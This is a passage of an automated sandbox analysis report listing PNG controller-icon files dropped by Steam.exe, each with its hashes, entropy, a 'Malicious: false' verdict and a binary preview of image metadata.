Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_020_ammo_010.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7903
Entropy (8bit):	7.8620504434173935
Encrypted:	false
SSDEEP:
MD5:	D0763716CEE5AE9E4985C4AE5F842DC6
SHA1:	E13DC923DDBEB1637D4AC1DD0949D613B057CFB4
SHA-256:	03BF0FE3D3A5D20E7366B62B00C5F08FA5AF77E5CDDF9D73680BDF0CD610006D
SHA-512:	0A40998757A0D8207BB5AFCDEA7896BDAD79A18B803256665789B3B39D743B4C169670919CEFB629A372E83E6A564A44BE23776B83AFEED07263F4F538C4ABBF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:20C83367826911E5A1FFAC6DEBFD9ED1" xmpMM:InstanceID="xmp.iid:20C83366826911E5A1FFAC6DEBFD9ED1" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>V.......IDATx..].tU..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_020_ammo_020.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9509
Entropy (8bit):	7.846231639117519
Encrypted:	false
SSDEEP:
MD5:	AD0D71CBA0589DBF2D41238F76116E7E
SHA1:	B6CDC85A60A3ED51F2E8D84B2EF4816C2A477AE5
SHA-256:	DB9BE39841080E598E97DA23D5B3E3FB36982A5C0070FB2AB622D05B136A6ACC
SHA-512:	25328B6C9985B7F9B4F4C7AE536BFF80956ED239A131E820EC9317847BF53E795B3994EA11229DB6A8F60F56E09F4CA1A7F57F74290CA341497A0BF0E8685FB5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:20DF657F826911E5B131DD7EC5E0C6F5" xmpMM:InstanceID="xmp.iid:20DF657E826911E5B131DD7EC5E0C6F5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>B.v6..!7IDATx....U..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_020_ammo_030.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11141
Entropy (8bit):	7.902684692880116
Encrypted:	false
SSDEEP:
MD5:	002AB3FB8BA92EE19CC6BD76DDB52618
SHA1:	EB2A3B6E64C3300EF41A82B19D4829C8DEBEEFFE
SHA-256:	D18E93016CA9B7D11B427AD4E0225DC26C95497FE0D4A8240910C3E0F0D9FE4A
SHA-512:	8E9E4F901F268F0C2BAAF724C6EA3577819DBBBC4E01B33447416C23BE3961D4CFE41611367B53D733D217BD5689940269CF8037B16C21531C5177075666468C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:20F70CCA826911E5BDFDBA9F6A07BADE" xmpMM:InstanceID="xmp.iid:20F70CC9826911E5BDFDBA9F6A07BADE" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..y...'.IDATx..]..T...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0010.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15116
Entropy (8bit):	7.945081140999124
Encrypted:	false
SSDEEP:
MD5:	D2937378C6C5FE76FD77303D6A267B5D
SHA1:	77225C30805E790890C1054988C96021FCABBE11
SHA-256:	6D5EF8087C3A4757300FC054FC87E828B2A42C05C9DB1823978930F6206FA10B
SHA-512:	2410DB5A072AA7037F63AF7898AEFAA10C4F578FE4FE3DA72FA4A1980AB4F2AB3C2E16A660CC9F015C44E5EBC4584C89A439ADBB22704FFC8C440F1A53495265
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:122BBEB8826911E58E539A1C21E705B5" xmpMM:InstanceID="xmp.iid:122BBEB7826911E58E539A1C21E705B5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>=y...7.IDATx...tT..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0020.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20676
Entropy (8bit):	7.932571810280594
Encrypted:	false
SSDEEP:
MD5:	195A60D90E576AFFE88E816B37FC1DC7
SHA1:	038E9FFCACE1A1961C714B4DE3C88BE97085926E
SHA-256:	BA903D483056E3CE8E3526F84AFB3867977B25E57F490C5FE9F2827B3AD59FF5
SHA-512:	C6C44352A9EBFB1B0D5FD77CD9D987E6226E3A5D3FFD604030F77DE4A0AC2F8BAF997BA531D529318CF0C976040B9C5B92CCCEB62B40A5BEF80641A342107B26
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:139C9639826911E5BB8CAEE777AB631A" xmpMM:InstanceID="xmp.iid:139C9638826911E5BB8CAEE777AB631A" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..$C..L.IDATx....U.}.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0030.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13235
Entropy (8bit):	7.931161042514706
Encrypted:	false
SSDEEP:
MD5:	229B0D1304DD3C007A47D294081BAAC1
SHA1:	A4859AC6BEBC19A834B767F3EB327D33D3D348DC
SHA-256:	A826F5997E88417110C176F85BFFC8EF67EA24A1B07BD8E4BE1D0663C7B49153
SHA-512:	55BAC3A98403B6CFC3326F8C8F279013C7FDADAD5BDAADB3B1054B1E1FE1AE1D6EBFBA6529398451CDB01CBE54AF81B227A0AD3AD8D00AF7E2C0CF93D3658924
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:140A00D6826911E58A6BE2B3DE750E36" xmpMM:InstanceID="xmp.iid:140A00D5826911E58A6BE2B3DE750E36" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>K^E.../.IDATx....U..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0040.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14086
Entropy (8bit):	7.938173612397863
Encrypted:	false
SSDEEP:
MD5:	B03A86041EC8BE3C53150F684CFD9AEE
SHA1:	8C7F6442F2D617973B8EDBB2D05374A99CE27E79
SHA-256:	CCCF75D7EB2DA9AC7BB14850DD9C11B032BF7C02FE3840EBAB206FC3F145B126
SHA-512:	9B1594555098F93FB7F4BDAF50F99EF48C3F5D0A16AAFF8E2AC82BD7899F14473495BCF0E5301A2539AEACD70616EA128F75A5E721280DABEA2F5CD0CFFDFBFE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:18027E2B826911E59E57AC9C3D9BA154" xmpMM:InstanceID="xmp.iid:18027E2A826911E59E57AC9C3D9BA154" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>+.ai..3.IDATx.......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0050.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19912
Entropy (8bit):	7.938052863781729
Encrypted:	false
SSDEEP:
MD5:	B6FA871DC671E69765175C94793F1A19
SHA1:	9AD6E131FD754DEB273DB56350240D2A55CD6E3A
SHA-256:	C6648B9BF0BE9A871DDE12AA49A507221A3850FF54AF577572E1B9D7A2CDD390
SHA-512:	CB46E8650C69FD224D5C44E5745848E8E6003D690055BFB65D21D0CF99A569F720AD66FD2302AD81A8436531C8C46035BC1F0D619B1D8FD2DEC7C3222A3D82FF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:181A2576826911E5AF1DE25F1BB55A88" xmpMM:InstanceID="xmp.iid:181A2575826911E5AF1DE25F1BB55A88" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...!..I.IDATx....^..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0060.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17301
Entropy (8bit):	7.939272212451148
Encrypted:	false
SSDEEP:
MD5:	2EFE3BADAFC84ECB7534DC4D481932F0
SHA1:	1A61B511DE92EA04746949B6E5CCBCF061CC874C
SHA-256:	74E2C75CDA638DAA445AE4E7B078497F28F1288B1F39104E5C7417C304084CA6
SHA-512:	A06D41528C088F285254B21CCDE98291BB28F21A911CF0761D8AE9DBF92555F0B6844B709511F2115875BB873F74EEA3C6D8D6B084F1F45DD0116B93DBCD9F34
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:18354F48826911E595F687B0758CD97F" xmpMM:InstanceID="xmp.iid:18354F47826911E595F687B0758CD97F" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.....?.IDATx....U.}.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0070.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10340
Entropy (8bit):	7.912644390279045
Encrypted:	false
SSDEEP:
MD5:	49371D68603409E510820CD381E4CF33
SHA1:	0CC97503118A6B2B17A6F71F3F1F8B9834BE4CB2
SHA-256:	65D220A2FFAF1A2E9CE00D98D80C43DE153D0299BF610689A8B40F3497AE03BE
SHA-512:	59E04381B323BA99F8EBD280A21F2D1C3F208B03F011DD256A7E78C1868BAAC45EF52C500AAE7B49D725F31486FB15A40A905E6310040E1BEEC6308B7524B7DE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:1FEC25A5826911E5A1049B2DCB84AE70" xmpMM:InstanceID="xmp.iid:1FEC25A4826911E5A1049B2DCB84AE70" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>&.v...$vIDATx..{.U.}.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0080.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8201
Entropy (8bit):	7.820729441038419
Encrypted:	false
SSDEEP:
MD5:	DF404E260E26150D006E1BA99179E5CD
SHA1:	1EFB38F6378111FF48E3BE45E85D36398F4B8B00
SHA-256:	076A1E59D2ADBC8E663C04DC7846938A9F0A7310DBF47C37433859DF547B359F
SHA-512:	617198ED324E5653D3FBA9629E035F8997239FB73FC9518234A43DA794211A8654A329B7890F1AD37150A58F6A78648B74E534E87D00CCB31C6C35189869AD1B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:20155993826911E58F0C8275FB505FD8" xmpMM:InstanceID="xmp.iid:20155992826911E58F0C8275FB505FD8" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.sjl....IDATx..i..Gz.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0090.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8703
Entropy (8bit):	7.883971667913777
Encrypted:	false
SSDEEP:
MD5:	FEAC4C94E3BEE476575F94BE383C9764
SHA1:	E563A060731BD660672F3F16086A01C73050B849
SHA-256:	F3FC427BB9E707358740B2EA84392F81166DA975101C2EFB98A4CEAE1B02D719
SHA-512:	F54959150F968CED1701D362089C550B33CAD5125B7EAD86BDBCDBA745F3005CFFC6AB5143C5C119557C248A165A0BD72E26E62D1EC6F682116933E0AF1B6668
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:17D50461826911E5AE548A9446D282FA" xmpMM:InstanceID="xmp.iid:17D50460826911E5AE548A9446D282FA" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..r.....IDATx..Y....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0100.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10526
Entropy (8bit):	7.892616513757456
Encrypted:	false
SSDEEP:
MD5:	5E59B551C68D7B72162615041CC567C6
SHA1:	19FD7ABE1B4A947FB036D62208E335327C60D41C
SHA-256:	6F95DDC168EB2E97FDA3251F16E9913C017F2D938BD4986C58DB9E343980792D
SHA-512:	348197BD8CF120637CF21FBE1A2A0DBBB719E9C142D7EFE301D47933C6991DAB24BF4E33467150BDA4398D72A2A0AAA5DC24F8AB0850CA3F36133ECF9171BC93
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............\r.f....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e4d6975b-ba3d-aa42-81a1-f40200bdcf13" xmpMM:DocumentID="xmp.did:20010DBE826911E58063E5B3672BDA9F" xmpMM:InstanceID="xmp.iid:20010DBD826911E58063E5B3672BDA9F" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:92d32233-026f-2f47-9d89-a0255d822518" stRef:documentID="adobe:docid:photoshop:b238f816-825b-11e5-9ceb-fedaecd03961"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>K.$...%0IDATx..]..T..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_030_inv_0110.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10076
Entropy (8bit):	7.903116671704302
Encrypted:	false
SSDEEP:
MD5:	3F9651312415231547EFEED070BFB078
SHA1:	8C18DF9F2AA81B97927EB78CD4CEC6FE248ACA85
SHA-256:	9E37B3828D21676FDCAEACFC450A0D2764125F51EA41E63A69FAE4D701462BF8
SHA-512:	11D9435989A28120CC929DB6250AF864192A48C82E157E0423BB6BB9E6EB94BC24FD30C8B8B3C5697E1F56C3A246A16535A2CAD932D8B60442FFF09DB65D248A
Malicious:	false
Reputation:	unknown
